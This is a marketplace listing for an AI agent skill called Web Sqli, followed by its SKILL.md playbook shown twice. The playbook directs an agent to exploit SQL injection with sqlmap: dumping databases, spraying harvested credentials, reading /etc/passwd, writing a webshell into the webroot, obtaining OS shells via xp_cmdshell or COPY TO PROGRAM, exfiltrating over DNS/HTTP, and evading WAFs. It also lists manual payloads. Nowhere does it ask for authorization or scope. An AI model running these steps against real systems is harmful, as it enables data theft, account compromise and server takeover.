How do I install the Web Sqli skill?

Run npx skillmds@latest add s0ld13rr/web-sqli in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Web Sqli safe to use?

This skill has not completed SkillMD's automated safety review yet. Capability flags: reads secrets. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Web Sqli?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Web Sqli free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Web Sqli?

s0ld13rr (@s0ld13rr) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Web Sqli by s0ld13rr — Agent Skill

Name: Web Sqli
Rating: 4.2 (5 reviews)
Author: s0ld13rr

Web Sqli

SQL injection detection→exploitation→proof for web apps and APIs. Use when a parameter reaches a DB query, when input triggers a SQL error / boolean or time differential, or during VULN-ASSESSMENT/EXPLOITATION on a web target. Triggers - sql syntax error, ORA-/MySQL/psql/SQLite error string, ' or 1=1, order by, sleep-based delay, login bypass, id/search/filter param.

s0ld13rr Updated Sep 22, 2026

File contents

SQL Injection

When this fires

A param reaches a query; you see a SQL error, a boolean-differential (true≠false response), or a time delay on a payload. Also any login/search/id/sort param on a DB-backed app.

Detect (tool-first, low-noise)

Drive detection with sqlmap, not by eye — it covers boolean/error/union/time/stack + gives an evidence chain:

sqlmap -u 'http://<t>/item?id=1' --batch --level 3 --risk 2 --random-agent | tee /tmp/sqlmap.txt
# non-standard transport (JSON body / RSC / GraphQL / custom headers): save the full request, then:
sqlmap -r /tmp/request.txt -p <param> --batch

Then sqlmap_parse on the output. A single manual probe (', ' OR '1'='1' -- -, 1 AND SLEEP(5)) is a confirm poke ONLY — never the detection method or a payload sweep by hand.

Decide

Error shown → error-based / UNION (fastest data). Get column count: ORDER BY N until it breaks; find the reflected column; fingerprint DB (@@version, version(), sqlite_version()).
No error but true≠false → boolean-blind. No differential but timing → time-blind (SLEEP/WAITFOR DELAY/pg_sleep/dbms_pipe.receive_message).
No in-band channel → OOB (DNS/HTTP exfil) via --dns-domain / MySQL LOAD_FILE(CONCAT('',...)), MSSQL xp_dirtree.

Exploit → PROVE IMPACT

sqlmap -r /tmp/request.txt -p <param> --batch --dbs           # list databases
sqlmap ... -D <db> --tables ; sqlmap ... -D <db> -T <tbl> --dump   # extract
# creds/secrets → add_credential + cred_spray; escalate where possible:
#  MySQL FILE priv → --file-read=/etc/passwd, INTO OUTFILE webshell in webroot
#  MSSQL sa → --os-shell (xp_cmdshell) ; PostgreSQL superuser → COPY ... TO PROGRAM / --os-shell

Proof required: a dumped row a benign query couldn't return (a canary/secret value), a read file (/etc/passwd), or id via os-shell. "sqlmap says injectable" is a lead, not proof.

Tooling

sqlmap (--batch --random-agent, -r for weird transports, --technique BEUSTQ, --tamper for WAF) → sqlmap_parse. nuclei for known-CVE SQLi in a specific product → nuclei_parse.

False positives / pitfalls

200-on-everything / WAF echo → confirm a TRUE vs FALSE differential, not just a reflected string.
Time-blind on a slow app → use several sleep durations, compare.
Auth/CSRF-gated param → pass the session (--cookie/--headers), satisfy CSRF, or use -r.

---name: web-sqlidescription: SQL injection detection→exploitation→proof for web apps and APIs. Use when a parameter reaches a DB query, when input triggers a SQL error / boolean or time differential, or during VULN-ASSESSMENT/EXPLOITATION on a web target. Triggers - sql syntax error, ORA-/MySQL/psql/SQLite error string, ' or 1=1, order by, sleep-based delay, login bypass, id/search/filter param.---# SQL Injection## When this firesA param reaches a query; you see a SQL error, a boolean-differential (true≠false response), or a time delay on a payload. Also any login/search/id/sort param on a DB-backed app.## Detect (tool-first, low-noise)Drive detection with sqlmap, not by eye — it covers boolean/error/union/time/stack + gives an evidence chain:```bashsqlmap -u 'http://<t>/item?id=1' --batch --level 3 --risk 2 --random-agent | tee /tmp/sqlmap.txt# non-standard transport (JSON body / RSC / GraphQL / custom headers): save the full request, then:sqlmap -r /tmp/request.txt -p <param> --batch```Then `sqlmap_parse` on the output. A single manual probe (`'`, `' OR '1'='1' -- -`, `1 AND SLEEP(5)`) is a confirm poke ONLY — never the detection method or a payload sweep by hand.## Decide- Error shown → error-based / UNION (fastest data). Get column count: `ORDER BY N` until it breaks; find the reflected column; fingerprint DB (`@@version`, `version()`, `sqlite_version()`).- No error but true≠false → boolean-blind. No differential but timing → time-blind (`SLEEP`/`WAITFOR DELAY`/`pg_sleep`/`dbms_pipe.receive_message`).- No in-band channel → OOB (DNS/HTTP exfil) via `--dns-domain` / MySQL `LOAD_FILE(CONCAT('',...))`, MSSQL `xp_dirtree`.## Exploit → PROVE IMPACT```bashsqlmap -r /tmp/request.txt -p <param> --batch --dbs # list databasessqlmap ... -D <db> --tables ; sqlmap ... -D <db> -T <tbl> --dump # extract# creds/secrets → add_credential + cred_spray; escalate where possible:# MySQL FILE priv → --file-read=/etc/passwd, INTO OUTFILE webshell in webroot# MSSQL sa → --os-shell (xp_cmdshell) ; PostgreSQL superuser → COPY ... TO PROGRAM / --os-shell```**Proof required:** a dumped row a benign query couldn't return (a canary/secret value), a read file (`/etc/passwd`), or `id` via os-shell. "sqlmap says injectable" is a lead, not proof.## Tooling`sqlmap` (`--batch --random-agent`, `-r` for weird transports, `--technique BEUSTQ`, `--tamper` for WAF) → `sqlmap_parse`. `nuclei` for known-CVE SQLi in a specific product → `nuclei_parse`.## False positives / pitfalls- 200-on-everything / WAF echo → confirm a TRUE vs FALSE differential, not just a reflected string.- Time-blind on a slow app → use several sleep durations, compare.- Auth/CSRF-gated param → pass the session (`--cookie`/`--headers`), satisfy CSRF, or use `-r`.

Frequently asked questions